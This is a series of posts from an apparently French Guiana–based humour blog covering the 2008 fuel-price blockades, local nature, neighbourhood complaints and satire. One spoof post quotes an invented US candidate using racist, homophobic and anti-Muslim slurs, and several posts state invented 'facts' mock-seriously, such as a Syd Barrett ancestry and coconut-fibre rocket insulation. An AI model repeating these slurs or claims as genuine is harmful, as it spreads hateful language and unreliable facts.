• Meilleurs voeux 2009

  La Créature est certes légèrement en retard pour vous présenter ses bons voeux cette année, mais que voulez-vous ? L’âge, l’éloignement…

  

  Apprenez tout de même que cette amaryllis (oui, amaryllis est féminin mais en poésie, il y a des licences)  est en réalité un hippeastrum (oui, mais ça ne rimait pas). Les photos, c’est bien mais les images animées, c’est pas mal non plus. Donc :

  *

  *

  Et à toutes & à tous, une excellente année !

  
• Alors là, je dis balaize !

  Pas d’article en décembre ? Mais si, un petit quand même. Personnellement, je préfère le hobie cat 14, nettement moins habitable, il est vrai, mais si proche de l’eau. Cette photo prise à La Pointe à Peter me rappelle Nouméa : Au détour d’une rue, on s’y trompe en pensant qu’un nouvel immeuble cache la vue du lagon quand ce type de stremon marin est à quai…

  *

  

  Merci de votre attention.

  
• Barrages routiers en Guyane : Evolution et stagnation

  Rassurez-vous, aujourd’hui dimanche, tout va bien en Guyane et on en parle enfin un peu dans les médias nationaux (autrement que pour remarquer des jeunes qui caillassent les gendarmes mobiles et la valse d’hélicoptères qui enlèvent les demi-dieux du Centre Spatial). Plus d’essence, bon, ça, c’est fait. Commerces et administrations fermées, c’est fait. Plus de possibilité de sortir de sa commune, ça, c’est bon. Ah ! Le port de Dégrad des cannes et l’aéroport de Rochambeau fermés ? Bon, ça, c’est fait aussi. Et tout cela, je le rappelle, dans la bonne humeur. L’évolution vers la stagnation.

  C’est tout à fait remarquable. Je tiens à souligner qu’il y a là un travail efficace et spontané de la population, une participation dans la longueur et qu’en marge, les « échauffourées » n’auront pas troublé la sérénité des barrages. Espérons que le mouvement ne soit pas récupéré ! Je vais faire un tour tout à l’heure, au blocage de Suzini, en guise de soutien : les apparitions de la Créature font toujours rire.

  Faisons le bilan, calmement. Les 30 cts « arrachés » aux pétroliers par le gouvernement, les 10 cts refusés par les collectivités, les 50 cts cents réclamés par (tous) les Guyanais. L’affaire n’est pas réglée et il n’est pas interdit de supposer que les ronds-points seront encore bloqués, demain lundi, et que j’ai bien fait d’acheter deux paquets de clopes.

  Rappel : Pour être informé(e) sérieusement, allez sur Blada…

  En vrac, quelques photos « choc » (beaucoup moins sérieuses) en exclusivité.

  

  

  

  
• Carburant, Guyane et Feux de joie

  Quand les habitants de la Guyane se fâchent, ils ne font généralement pas les choses à moitié mais là, malgré ma mince mémoire, je ne crois pas avoir vécu mouvement d’une telle ampleur. Le prix du super atteint désormais la somme rondelette, ou plutôt coquette, de 1€ 77 le litre. Aussi quand les Guyanais se sont aperçus que l’île Bourbon avait réussi – après une manifestation hebdomadaire de mécontentement – à obtenir le litron à 1€ 45, ils sont entrés dans une colère multicolore. Un calcul très approximatif sur géodistance (si, allez-y, c’est rigolo tout plein) place la Guyane à environ 7000 km du Hâvre tandis que la Réunion serait plutôt à 13 000 bornes du même port et, à tout le moins, 10 000 km, si on part de Marseille. Oui, ok, ce n’est pas le trajet réel mais peu importe car il paraît que les explications au sujet de ce surcoût sont assez fumeuses…

  Des élus locaux guyanais s’étaient bien rendus à Paris fin octobre pour protester mais le gouvernement les a envoyés promener (ils n’ont qu’à faire des éconocroques sur la part qui revient à la région et au département, ce qui est la même chose en Guyane). Alors, les simples citoyens ont décidé de se faire entendre et appuyés depuis avant-hier matin par des socio-professionnels disposant de gros véhicules, ils ont bloqué la circulation avec une efficacité indéniable. Sachant que, tout comme à la Réunion, le réseau routier est relativement sommaire et qu’en outre, Cayenne est une île, il semble même qu’ils aient fait montre d’ubiquité en bloquant tous les endroits stratégiques souhaitables de St Laurent-du-Maroni, en passant par Kourou, jusqu’au moindre rond-point de Cayenne. Les stations sont fermées depuis deux jours. Si vous voulez vous informer sur la progression des événements, allez sur Blada. Pour notre part, nous nous sommes penchés hier sur un point périphérique du blocage dans une petite vidéo, voir ci-dessous.

  Les « barricades » sont maintenues 24h/24h, la population apporte spontanément des vivres et de l’eau fraîche aux piquets. A ces nœuds symboliques, quelques musiciens de renom sont venus jouer pour celles et ceux qui battent le tambour, le soir venu. Hier, au carrefour de la route des plages, à Rémire-Montjoly, il soufflait une brise de panique étrangement mêlée d’atmosphère festive, un flot de voitures garées en tout sens, la foule prenant d’assaut les épiceries et ce matin la queue devant la boulangerie la plus proche faisait pressentir l’état de siège. Les commerçants ont baissé rideau aujourd’hui. Les passagers devant se rendre à l’aéroport franchissent les barrages à pieds. Bref, la Guyane est complètement barrée puisque des blocages sont désormais installés dans toutes les communes du littoral.

  On peut présager qu’il faudra encore deux ou trois jours de franc bordel pour que les pouvoirs publics qui semblent régulièrement longs à la détente (et pour quelles mystérieuses raisons, on se le demande ?) donnent gain de cause en remise liquide¹. Une réponse rapide est pourtant nécessaire. Sinon, comme à chaque mouvement en Guyane, cela risque de dégénérer : cela a commencé hier soir à Cayenne surtout, avec quelques feux de joie à base de poubelles, de pneus, allant jusqu’au véhicules entiers, dans une ambiance joyeuse de jets de pierre contre les représentants de l’ordre par la fraction nombreuse des jeunes inemployés². Bientôt les fusils ? En tout cas, déjà quelques magasins braqués, le crime organisé ou non est prospère en Guyane.

  Et je ne parle pas du sacrifice consenti (ou subi) par les entreprises au détriment du fameux « développement économique » de la région, ni de l’agacement des parents d’élèves impuissants à mener leur progéniture jusqu’aux établissements scolaires, encore moins de la joie des élèves, non, je ne parle pas de tout cela, parce que le mouvement rassemble tous les habitants quels qu’ils soient, mis à part quelques esprits chagrins ou cupides³, et qu’il est rare que cela se produise en Guyane où les communautés coexistent souvent en parallèle. Vive la Solidarité !

  Et puis, parce qu’il ne faut jamais être en reste en matière d’innovation, pourquoi ne pas utiliser l’éthanol comme carburant ? En Guyane, il y a de la terre, la canne y pousse avec bonheur.

  *

  

  *
  

  1 – La préfecture a bien proposé une baisse de 10 Cts au 1^er décembre : est-ce un gag ?

  2 – Un personnage important des élus locaux guyanais déclarait récemment dans France Guyane – je cite à peu près – qu’il fallait « renforcer les études de l’employabilité des jeunes pour qu’ils puissent évoluer dans leur bassin de vie. » : Serait-ce un gag ?

  3 – Une petite annonce sur la radio RFO m’a fait mourir de rire : Une dame y proposait un jerrican contenant de l’essence dont elle n’avait pas l’usage au prix solidaire de 3 € le litre : Etait-ce un gag ?

  
• Piscine au sel, Entretien, Guyane

  

  Aphorisme du jour :

  En saison sèche, tu ne rajouteras pas beaucoup de sel !

  En saison des pluies, tu ne rajouteras pas beaucoup d’eau…

  
• 5000

  Mon Dieu, mon Dieu, que vois-je ? Ce blog stupide va prochainement accueillir un(e) 5000^ème visiteur ou visiteuse ? Celle ou celui à qui échoira cette calamité devrait laisser un commentaire, de sorte que je puisse la ou le remercier !

  Une photo de perroquet en prime ?

  *

  

  *

  Et pour les visiteuses/visiteurs qui se demandent ce qu’il y a dans les parties privées du blog, apprenez que c’est sans intérêt, ce sont des choses familiales.

  
• The Piscine Men
  Vous avez un problème de piscine, il est triplement résolu par les Piscine Men.

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  Frite Man, Bouée Man & Babyflotteur Man vous entraînent de Mozart jusqu’à the doors avec un certain humour.

  
• Chenille, amour et abeille

  Il est temps désormais de rendre à Célestin Rougeret ce qui lui revient. Pour exemple, le « patch heideken » est de lui, plus encore « l’histoire des pingouins » doit également lui être attribuée. Sur ce coup-ci, il m’a suggéré les éléments suivants : cette chenille est une nièce de Paul-Emile Victor qui prépare son odysée antarctique, avec la toute nouvelle dernière polaire, ou alors, c’est que le SIDA en Guyane fait que les chenilles elles aussi, sont obligées de se protéger avec un préservatif de leur façon, ou encore que le cocooning se mérite. Bref, hommage à Célestin Rougeret et à Henri Salvador.

  
  

  
• La mutation de la mangue verte

  Le monde entier ignore – alors qu’on l’a dit et répété – que la Créature des Marais est ainsi constituée parce qu’elle a mangé un fruit à pain radio-actif. Est-ce à dire que l’alliance du végétal et de l’animal est contre-nature ? Non, mille fois non. C’est, au contraire, le cours naturel des choses… Nous en voulons pour preuve les différentes greffes auxquelles la Créature s’est adonnée après la découverte d’une mangue atypique (et qui confirment, hélas, son impéritie en matière d’infographie).

  

  Tout est possible, à condition de rêver et de faire rêver (je dis ça pour ceux qui parlent et ne font rien qu’à exhiber les attributs de leur fortune) et donc, il suffit de vouloir ! En plus, dans notre monde bientôt définitivement virtuel, c’est de moins en moins difficile.

  Pour commencer, le croisement improbable entre une mangue et un lapin.

  

  Et puis, tant qu’on y est, le fruit de la mangue et du requin.

  

  Comment ne pas ajouter le digne représentant de l’espèce animale le plus proche de l’humain qui sait, lui aussi, faire rebondir l’humaine parole ?

  

  Bien. Voilà. Une heure de manip’ rapides pour ce résultat. Cela valait-il vraiment la peine ? Vous en jugerez.

  
• Commémoration et épilation totale

  Puisqu’on commémore l’armistice de 1918, la créature n’est pas sans éprouver quelque réminiscence de cet événement grandiose que fut la « der des der » : dur, dur ! comme dit si bien Gainsbourg.

  Le dernier poilu s’est éteint cette année même, en mars, ayant renoncé à mourir le 11/11 à 11h11:11, à l’aube de son 111^ème anniversaire. Que n’est-il de nos jours un Christ pour ressusciter Lazare Ponticelli, lui disant : « Lève-toi et roule, ma poule ! » ?

  Plus aucun témoin direct des tranchées ? Ce n’est pas si sûr. C’est en tout cas ce qu’affirme la CdM qui a une certaine tendance à l’extrapolation. Il est clair que la photo ci-dessous ne laisse planer pas même l’ombre d’un doute quant à sa médiocrité infographique.

  

  S’agit-il de la créature contemporaine ? Ou bien d’un arrière-grand-père ? La Créature prétend que c’est bien elle mais que toute adolescente, elle était imberbe, alors qu’on ne se souvient pas d’elle comme « poilu ». Aucun monument aux morts de France, à ce que nous savons, ne mentionne la Créature des Marais. Mais est-ce bien une preuve quand on sait le mal qu’il a fallu se donner pour retrouver la dépouille de Alain-Fournier qui aurait fêté ses 122 ans le 3 octobre dernier… D’autant que le jeune Lieutenant était célèbre alors que la Créature était un obscur 2^nde classe.

  Ce qui ne facilite pas les choses, c’est que dans la famille, on se nomme Créature de père en fils, comme par exemple, Jean Hénaff, père de Jean Hénaff, et ainsi de suite.

  Cependant, elle nous a confié des souvenirs anciens qui ont achevé de nous convaincre qu’une fois de plus, elle affabulait :
  « Je revois des images confuses : bains de boue, inhalations de fumées diverses, exercices sportifs variés mais dans le genre périlleux – je vous passe les détails – des repas équilibrés, moitié rat, moitié rutabaga, le pinard de temps en temps et puis quelques feux d’artifice très réussis. A vrai dire, le monsieur en vert m’avait dit qu’il m’emmenait à Perpette-les-Bains, j’ai cru que c’était une station thermale avec cure d’amaigrissement. Je n’ai pas vécu cela comme les autres… Je crois me rappeler que c’est là que j’ai perdu mon testicule droit en me soulageant imprudemment dans une flaque d’ypérite, l’eau de la cure était assez purgative (rires). Par la suite de braves Tommies m’ont expliqué leur mode d’emprunter aux français de nobles devises qu’ils intègrent à leur blason, j’ai eu l’idée de leur rendre la pareille en choisissant une maxime anglicisée : Monoburne to be alive ! C’était quand même une sacrée époque ! »

  
  Laissons cette triste bête à ses fumigations : « Nous entrerons dans la carrière, quand nos  nos aînés n’y seront plus, nous y trouverons leur poussière et la trace de leur vertu… » (Aux Armes, etc.) Saluons tous les malheureux qui sont morts parce que Nivelle était au-dessous de la mer ! Saluons nos pères péris pour nous (ce n’est pas une contrepèterie) et prions pour que plus jamais ça. Et puis bon, des poilus, il y en aura toujours…

  *

  

  Merci de votre attention.

  PS : 7 mai 2011 – Le dernier Tommy vient de mourir. Il avait boudé toute ses vies les cérémonies officielles…

  
• Compétence, Concertation, Célérité

  Pour les déplorables ignares qui ne connaitraient pas la CCCL, autrement dénommée « 3CL », je précise qu’il s’agit de la « Communauté des Communes de Centre Littoral de la Guyane » et vous invite à visiter leur site pour vérifier qu’un de leurs mots d’ordre est (je copie-colle) : « Agir dans la cité pour des valeurs de justice et de solidarité … »

  Oui, mais voilà, quand on envoie un mail à la CCCL pour lui signaler qu’un voisin artisan, peu enclin à l’altruisme, balance les eaux usées résultant du nettoyage des tripes de poulets et des viscères de poissons qu’il boucane « traditionnellement » en enfumant le quartier, balance ces eaux, disais-je, directement dans le fossé qui passe sous nos fenêtres, alors on reste pétrifié par la promptitude de la digne 3CL (voir plus bas).
  

  *

  *

  L’odeur est à la fois fadasse, écoeurante, nauséabonde. Bref, à vomir.

  Et pour l’instant, je ne parle pas de la fumée que vous voyez sur la vidéo car, vous l’imaginez déjà, un atelier de boucanage en zone résidentielle, c’est très environnemental… Mais j’y viendrai bientôt (images à l’appui).

  J’avais donc déjà écrit à la 3CL, il y a plus d’un an, sans recevoir de réponse. Cette fois-ci, j’en ai une, enfin, plus précisément une confirmation de lecture. Ce n’est déjà pas si mal. Pour preuve:

  Votre message

  À :  assainissement@cccl.fr
  Objet :  eaux usées rejetées par un atelier de boucanage
  Date :  11/09/2008 16:53
  a été lu le 07/11/2008 14:06.

  Presque deux mois pour lire un mail : Grande merveille de l’instantanéité du courrier électronique ! Je vais leur écrire derechef pour leur demander si, après avoir reçu, en un délai si étonnamment court, cette confirmation de lecture, je puis espérer une réponse de leur part avant juin 2010.
  

  Après tout, je suis sûr que la CCCL désire faire progresser la Guyane et je m’attends à ce qu’ils agissent prochainement en conformité avec leurs objectifs : Je vous tiens au courant.

  
  

  
• Canular : Elections USA, un candidat pas comme les autres…

  La Créature des Marais vous informe que cet article ne doit pas être pris au premier degré parce qu’on ne sait jamais. C’est seulement un texte pour (essayer de) faire rire. Kasbah Broncho Marx n’a jamais existé et ses propos grossiers ne sont qu’une caricature. Les Etats-Uniens sont des gens beaucoup plus sensés que cela. La preuve, Obama est en tête dans les sondages.

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  Le peuple des Etats-Unis n’a apparemment qu’un choix limité en matière d’élection. D’un côté, on a John Mc Cain, mais l’Amérique n’est plus ce pays de la légende dorée, et ce candidat ne paraît pas aussi croustillant que les frites dont il partage le nom (oui, je sais, c’est une blague facile).

  

  D’un autre côté, on a Barack Obama qui est en train de la casser (oui, je sais, c’est aussi très nul comme blague, lisez la suite, c’est pire). Les Etats-Unis n’étant ni tout blanc ni tout noir, cela semble un choix nettement plus raisonnable.

  

  Mais un autre choix est possible :

  Kasbah Broncho Marx !
  

  

  Arrière petit-neveu du célèbre Groucho Marx, Kasbah est le fils de Maggy Bole, golden girl à Wall Street, et de Big True de Ball, shérif (spécialisé dans l’expulsion des propriétaires à court de crédit). Il rappelle qu’il n’a rien à voir avec son arrière-grand-oncle (« Marx, c’est comme mon arrière-grand-tonton, il est mort  ! Je suis un type sérieux, moi, je vis !« ) et ajoute que le port de la moustache lui a été inspiré par Tom Selleck dans le rôle de Magnum.

  Malgré son prénom à consonance maghrébine, Kasbah est un beau type texan, il mesure 1 m 90 car il a été élevé au poulet aux hormones et il en est fier. S’il fume des cigarettes à l’eucalyptus, c’est pour soigner ses poumons fragilisés. Pendant la première guerre du Golfe, il a en effet contracté une pneumopathie chronique suite à un dérèglement de la climatisation de son bureau à Riyad. Tireur d’élite, il exerce actuellement des missions de surveillance sur la frontière mexicaine, c’est un homme qui aime passionnément son pays.

  Il déclarait récemment : « Je ne veux pas me priver de mon 4×4 à cause de ces pauvres enculés du tiers-monde, ces connards de la Chine, de l’Inde, du Brésil ou du reste du monde y compris ces pédés d’Européens! » Il parle d’un ton décidé de ses projets politiques : « Quant aux Africains, on n’a qu’à leur envoyer ce bâtard d’Obama et si je serre une ceinture, ce sera celle de mon holster et avec mon gros flingue, je nettoyerai vite fait la racaille musulmane… C’est pas une couille molle comme Mc Cain qui en serait capable !« 

  Ses adversaires disent de lui qu’il est mégalomane, égoïste, ignare, paranoïaque et raciste. Pour sa part, il pense qu’il est l’avenir de  son pays et Dieu bénisse les Etats-Unis d’Amérique. « In God we trust« .

  
• Phasme, phantasme et phantasmagorie

  L’insecte fort long, tout sec et très étrange, nommé phasme, démontre une fois de plus, s’il en était besoin, que la nature prise le phantasme du mimétisme. Cela me rappelle une désopilante phantasmagorie de Jean-Marc Reiser où une pauvre vieille, afin de réchauffer les os de son pauvre vieux alité dans la cahute, va ramasser un fagot qui, déposé dans l’âtre, s’enfuit à toutes jambes car ces branchettes sont – vous l’aurez deviné – de méchants phasmes. L’humoriste de conclure que « le pauvre vieux a encore un peu plus froid ». Les phasmes sont-ils réellement les animaux pervers mis en scène par le regretté Reiser ? Pas vraiment. Quant à les voir s’enfuir à toutes jambes, c’est plus qu’improbable. Mais l’idée de la feinte animale exploitée dans la veine comique nous rappelle qu’il faut se méfier de tout. En ces temps de marasme financier, c’est un peu comme l’allégorie de la richesse sous les traits d’un banquier cossu et ventripotent …

  

  Les phasmes, les phantasmes et les phantasmagories ont évidemment une étymologie commune, comme on peut l’apprendre en consultant l’excellentissime portail lexical du CNRTL (j’ajoute que les utilisateurs de Mozilla peuvent télécharger une barre d’outils qui leur offre la possibilté de consulter facilement et gratuitement ce remarquable dictionnaire). Merci de votre attention.

  
• Fusée Ariane, Monument et nain de jardin

  Véritable cathédrale des temps modernes et qui transcende la munificence des vaisseaux de pierre médiévaux – en ce sens que son ascension est effective, la fusée Ariane est un monument. A ce titre, nous sommes allés nous extasier devant cette formidable maquette et je l’ai photographiée avec un nain de jardin pour en mieux signifier la démesure.

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  Merci de votre attention.*

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• Crise, éducation, espoir

  Dans ce contexte plus qu’inquiétant de crise financière mondiale, de sacrifice programmé de l’éducation nationale, est-il encore possible d’avoir un espoir ?

  Faut voir ! Pardonnez-nous (une fois de plus) un humour à la limite de l’insupportable…

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• Iguane, mythe et déforestation

  

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  L’iguane est un proche cousin de la salamandre. Nul n’ignore qu’il naît d’un oeuf de fourmi légionnaire gobé par un tapir tuberculeux qui défèquera innocemment sur une souche de figuier étrangleur. Par la suite, des Sud-Américains ineptes mettent le feu à la forêt amazonienne à concurrence de plusieurs terrains de waterpolo à la seconde (si vous ne me croyez pas, allez voir ici). Des flammes qui consument le poumon du monde jaillit cette créature fantastique qu’on appelle communément « Lézard » en Guyane française et qui constitue la base d’une excellente fricassée.

  Détail navrant, les iguanes supportent assez mal les piscines au sel (voir vidéo ci-dessous).

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  Merci de votre attention.

  
• Google, Youtube et Carlathon

  « Oui, je sais, c’est nul mais, moi, ça me fait marrer » écrivait, dans un post récent, le fameux David PMD et c’est bien dans cet état d’esprit que je vous livre une amusante capture d’image.

  Alors voilà : Tapez youtube dans google et vous arrivez sur ceci.

  
  

  

  Considérant la colonne de gauche, sous l’accroche, on en vient à se demander s’il n’y a pas quelque manoeuvre promotionnelle en faveur d’une certaine personne, à l’instigation d’une autre  à qui elle est chère, et qui ferait douter de l’objectivité de google. Puis si l’on s’en rapporte à la colonne de droite, on est rassuré. Enfin, quand on compare les colonnes ligne à ligne et si on aime l’humour idiot, normalement, on sourit. L’été est fini mais le Carlathon continue… Broadcast yourself.
  

  
• Béatrice, Lifou et Peinture

  Lifou, comme chacun sait, est l’île centrale de l’archipel des loyauté. Voici une invitation au vernissage de Béatrice.

  

  Evidemment, ce n’est pas la porte à côté mais c’est aussi un coin assez tranquille pour qu’on se permette le minimum d’informations… Pas de peinture aérienne, alors voilà une petite photo pour que vous visualisiez davantage l’endroit de l’expo.

  

  Et pour finir une autre petite photo, celle de Béatrice Camallonga, une amie délicieuse.

  

  Donc, si vous passez par Lifou, n’oubliez pas l’exposition !!!

  Merci de votre attention.
  

  
  

  
• Méfaits de la télévision et de la lecture

  Oui, certes : Méfaits de la télévision et de la lecture sur un esprit juvénile… Enfin, vers le dernier quart du XX^ième siècle, tout est relatif.

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  Une conjonction improbable entre une enfance marquée par Flipper le Dauphin et la lecture ultérieure d’une nouvelle très courte de Kafka, écrite en 1917, intitulée un croisement. Une série magique et deux pages d’une inquiétante étrangeté.

  PS : Oui, oui, oui… Si j’ai d’autres choses à faire ? D’accord !

  
• Critères de recherche

  Un post express pour vous montrer ce qu’indiquent mes statistiques en matière de critères de recherche à partir desquels des visiteurs sont arrivés sur ce blog. C’est assez surprenant :

  • photo fille chauve épilée (pornographe trichophobe ?)
  • photo d engine blanche (mécanicien vicieux?)
  • images creatures de l enfer (graphiste satanique ?)
  • couvre chef papal (intégriste du chapeau ?)
  • rage humaine (loup-garou solitaire ?)
  • crapaud papa coul (enfant de moins de six ans ?)
  • le temps est une créature (biophilosophe égaré ?)
  • faux papiers chinois guyane (francophone clandestin ?)
  • enculage de mouche (entomologiste lubrique ?)
  • free brouette (obsédé inoffensif ?)
  • sauterelle video mais gros (fétichiste obèse ?)

  Je m’interroge sur ce que mes pauvres visiteurs trouvent comme informations pertinentes et je veux bien votre avis, si vous avez un moment…

  
  

  
  

  
• Bougainvillier, mission scientifique et rock psychédélique

  Le bougainvillée ou bougainvillier est un arbuste fort connu dont les feuilles sont blanches, orangées ou fuchsia mais pas vertes… Ses petites fleurs sont blanches au coeur jaune et non rouge. La photo ci-dessous est donc un ignoble trucage et il vous faut cliquer dessus pour retrouver les vraies teintes de la plante.

  

  Un peu d’histoire pour que vous ne soyez pas venu(e) sur cette page pour des prunes : C’est en 1766 que Louis-Antoine de Bougainville s’embarque sur une flûte (c’est-à-dire un navire à trois mâts et à vocation pacifique, de conception batave) baptisée la Boudeuse, pour une mission d’exploration scientifique. Cinq mois plus, Le savant Philibert Commerson et son valet qui n’est autre que Jeanne Barret, sa compagne, déguisée en matelot, arrivent  à bord de l’Etoile à Rio de Janeiro le 13 juin 1767. Cette entreprise permettra à Commerson de recueillir ce fameux arbuste auquel il donnera le nom du chef de l’expédition.

  

  Le travesti est finalement démasqué, à Tahiti, un an plus tard, par Bougainville qui, magnanime, débarquera l’homme et sa maîtresse sur l’île Maurice. Ce premier s’y éteindra, en 1773, exténué par des fièvres diverses tandis que sa comparse s’y marie avec un certain Floyd. Elle retournera en Europe après quelques années.

  Coïncidence : C’est en 1772, que Jacques Cazotte publie son Diable amoureux, court récit dans lequel sous l’apparence de Biondetto, jeune valet attaché à Don Alvare, se cache Biondetta qui, à la suite d’un certain nombre de nuits amoureuses, lui dévoilera qu’elle est Belzebuth, le roi des mouches et accessoirement un personnage haut placé des enfers. Cazotte est célèbre, par le truchement des Mémoires de Jean-François de la Harpe, pour avoir avoir  prophétisé au cours d’un dîner dont Lapérouse était convive que celui-ci ne reviendrait pas de sa circumnavigation tandis que d’autres invités, femmes et hommes, trouveraient une fin tragique. On y vit une préfiguration surprenante de la terreur révolutionnaire car les gens désignés, et Cazotte compris, tombèrent sous le couperet inspiré par l’humanité de Joseph Ignace Guillotin..

  Quant à Louis-Antoine de Bougainville, son coeur est au calvaire de Montmartre et son corps au Panthéon, le Comte de Lapérouse, lui, périt à Vanikoro aux îles Salomon, sa noble dépouille ayant été partagée par les squales, car l’Astrolabe avait heurté un récif. Cazotte finit sur l’échafaud en 1792. Mais Jeanne Barret survécut à la tourmente révolutionnaire et s’éteignit seulement en 1807 : elle serait l’ancêtre de Roger Keith « Syd » Barret, créateur éphémère du groupe pop-rock : les Pink Floyd.

  

  NB : Syd Barrett est un des compositeurs préférés de la Créature des Marais

  
• Sous les cocotiers

  De même que l’abricotier pousse sur la côte, le cocotier aime le sable fin, le sol salin et le soleil câlin. Cet arbre, le plus cultivé sur la planète, offre tant de possibilités que nous ne pouvons les passer en revue. Nous signalerons tout de même le punch coco et le coprah dont la consommation procurerait des hallucinations.

  

  
  Réparons aussi une grande injustice : Des individus souscrivant à une idéologie passablement désuète ont longtemps été désignés par ce surnom qui n’a  évidemment rien à voir avec le plus durable et le plus célèbre des palmiers.
  Son nom scientifique cocos nucifera précise qu’à l’instar de l’homme il descend de l’arbre et porte des noix. Cela dit, le nombre de noix portées n’est pas le même à moins pour l’homme d’être né après 1986 à proximité de Tchernobyl.

  Bien des gens qui n’ont jamais eu la chance de voyager en zone intertropicale sont très mal informés et ne connaissent que la noix de coco sèche et souvent rance qui parvient dans leurs contrées glaciales. Ils ignorent donc que le coco porte une gangue fibreuse autour de sa noix dont les propriétés isolantes sont si performantes qu’elle est utilisée par la société Air Liquide basée à Kourou qui fournit le mélange oxhydrique nécessaire à la propulsion des fusées Ariane.

  

  Mais là n’est pas notre propos, nous voulions simplement vous présenter de jolies photos en gros-plan de cocotiers en fleurs et vous apprendre que de petites guêpes noires sont les premières à exploiter le suc des fruits naissants pour en faire leur miel, d’une part, et que d’autre part, de gros vers blancs qui taraudent le tronc font le délice des amateurs.

  
• Poil fétiche

  Il est à peu près sûr que les tags de ce post  – ou, pour parler français, que les mots-clef de cet article – attireront les plus pervers des internautes. Ils seront fort déçus de s’apercevoir qu’il ne s’y trouve rien de salace, au contraire, que l’on y déplore peut-être les effets du vieillissement, sujet plutôt déplaisant, et pour les plus crédules, qu’on y parle de la puissance magique.
  En effet, cette photo trouvée sur le net, et probablement divulguée par les ennemis les plus méprisables, dévoile une faiblesse coupable de la Créature réputée invulnérable mais qui comme tout un chacun subit les atteintes du temps. Mais qu’espéraient donc les voleurs d’image ?  Sans doute révéler par où il pourrait s’avérer possible de vaincre la Créature des Marais. Idée vaine voire risible.
  *

  

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  Le Aidez-Ouam, comité de soutien inconditionnel à la CdM, est heureux d’annoncer que toute tentative d’attenter à l’intégrité de la créature serait une allitération chimérique. On a prétendu, il est vrai, que cet unique poil blanc qui orne le poitrail de notre bien-aimée créature serait le défaut de sa cuirasse. Il n’en est rien.
  On savait la CdM glabre et, soit dit en toute révérence chauve, lors que le reste de son individu manifestait une pilosité prouvant sa virilité selon les dictons mièvres que colporte l’imbécillité populaire : C’est consternant !
  Certes, le poil fétiche de la CdM répond aux critères les plus exigeants en matière d’esthétique par sa couleur autant que par sa longueur mais il est profondément ridicule de penser qu’un malintentionné qui se risquerait à l’épiler, au cours d’une de siestes éthyliques et familières, priverait notre Créature de sa force.
  La vérité est plus grave. Quiconque oserait arracher ce divin poil du torse de la CdM se retrouverait immédiatement aveugle, sourd, muet, trisomique et électeur de Nicolas Sarkozy.

  
• Iles du salut, tourisme et détournement

  La Créature des Marais a décidé de promouvoir le tourisme en Guyane au moyen d’un détournement amusant afin d’inciter ses ami(e)s à venir découvrir ou redécouvrir notre pays étonnant.
  

  

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  Plus humide que Center Park !

  Plus vrai que Disney World !

  Mieux qu’à la télé !

  
  

  La visite des îles du salut en pseudo-sphinx tetrio,

  
  

  
• Patrick Dandrey et ses avatars

  Dans notre série « les personnes réelles », nous parlerons aujourd’hui de l’éminent Patrick Dandrey (en photo ci-dessous), Professeur à la Sorbonne ancienne, spécialiste de Molière et ses pièces, de La Fontaine et ses fables, membre de l’Association des Amis de Tristan (Bernard) L’hermite et ses coquilles, promoteur de Théophraste Renaudot et sa petite fille velue. Bref, ce qu’il est convenu d’appeler une sommité, un grand « honnête homme ».

  

  Certaines et certains se souviennent de lui pour l’avoir connu en tant que professeur version haut de gamme au Lycée de La Baule, à l’Université de Nantes, celle de Bordeaux ou encore à Paris III (Sorbonne nouvelle).
  Pour celles et ceux qui ignoreraient encore cet homme chaleureux et son esprit exceptionnel, une simple recherche sur le net devrait les convaincre de la célébrité intellectuelle de cet humaniste prestigieux. Mais pour vous éviter l’effort, voici deux liens nécessaires quoique non suffisants.

  L’élection outre-Atlantique **********************Le site perso

  Avant la fin du siècle dernier, je m’étais permis d’avertir Maître Dandrey qu’un iconoclaste de St Petersbourg, composant de la techno plutôt piètre, s’était permis d’emprunter son patronyme à seule fin de s’en faire un pseudonyme. Mon hypothèse est que le dit individu avait dû apercevoir le nom « Dandrey » sur une affiche puisque ce dernier colloquait du côté de l’ex-Leningrad en 1998 et que cela avait dû lui paraître exotique. Selon une autre source plus confidentielle, le type en question est un informaticien soviétique émigré en Israël.
  

  Le temps a passé et tandis que le véritable Dandrey poursuivait non sans ubiquité sa carrière nationale et internationale, l’usurpateur  en question devenait photographe. Comment résister au plaisir de vous faire partager quelques images du Dandrey russe :

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  ***** à 7 ans                à 17 ans          actuellement
  

  Sans compter les photos du mariage :

  

  
  Si le Patrick Dandrey officiel est un XVIIèmiste de renom et scrutateur de l’humeur noire, le Dandrey russe est un professionnel du pique-nique et chantre du Barbecue, comme en témoignent les fabuleux clichés que vous pourrez retrouver sur son site.

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  Pique-nique du 12 octobre 2005

  A première vue, tout les oppose. Cependant… ne voit-on pas un certain cousinage dans l’iconographie ?
  

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  Image double : La couverture du Polyeucte préfacé et commenté par le Dandrey local (à gauche) & Autoportrait, fausse fresque tombale alexandrine réalisée par le Dandrey russe (à droite)
  

  
  Le parallèle s’arrête là, soit, mais pensiez-vous que la Créature allait vous quitter sans vous ménager une petite surprise ? Découvrez le nouveau venu : Patrick Andrey qui, lui aussi, a son site perso !

  
  

  

  Supplément TV magazine, n°786 du samedi 10 juin 2006 – FRANCE GUYANE

  
  

  
  

  
• Claire Castillon

  La créature aimerait, dans les jours qui viennent, citer des personnes réelles, plus précisément les évoquer en les nommant.

  Commençons par Claire Castillon dont les oeuvres, qui se trouvent chez tous les bons marchands de ballon, ont toujours, c’est-à-dire depuis qu’elle écrit, beaucoup plu à la créature quoique le rapport entre les débilités créaturesques et la troublante prose castillane soit inexistant.

  En cliquant sur l’image ci-dessous où figure l’écrivaine en question, vous devriez atterrir sur une brève entrevue où elle parle de son dernier roman. Je souhaite que vous tombiez sous le charme de la personne et que votre curiosité vous pousse à la lire :

  

  Un visage paradisiaque peut-il vous emmener en enfer ?

  PS : Ce dernier roman s’appelle Dessous, c’est l’enfer. J’ai hâte de m’y promener.

  
• Au pays du bagne

  Vous connaissez peut-être, si vous avez vu par exemple le film Papillon, les cellules pour relégués du bagne des îles du Salut avec quatre murs pleins et un toit en grille, idée délicate dans une contrée où sévit la saison des pluies ?

  Eh bien, toujours en Guyane, un autre concept intéressant à découvrir : La maison ouverte par un mur manquant.
  

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  Beaucoup plus facile pour s’évader…

  
• Publicité et coup de bâton

  Bien entendu, la nouvelle trouvaille pour les offres promotionnelles de peugeot Guyane tendait le bâton… L’on sait ou l’on apprendra que les Guyanais aiment beaucoup les belles voitures qui contribuent à un art du paraître, qui m’est à peu près étranger (la preuve, j’ai un gros bide) et un cliché, concernant les DOM en général, peut être copié voire collé en la circonstance : « grosse BM, antenne Sat’ sur la tôle mais frigo vide ».

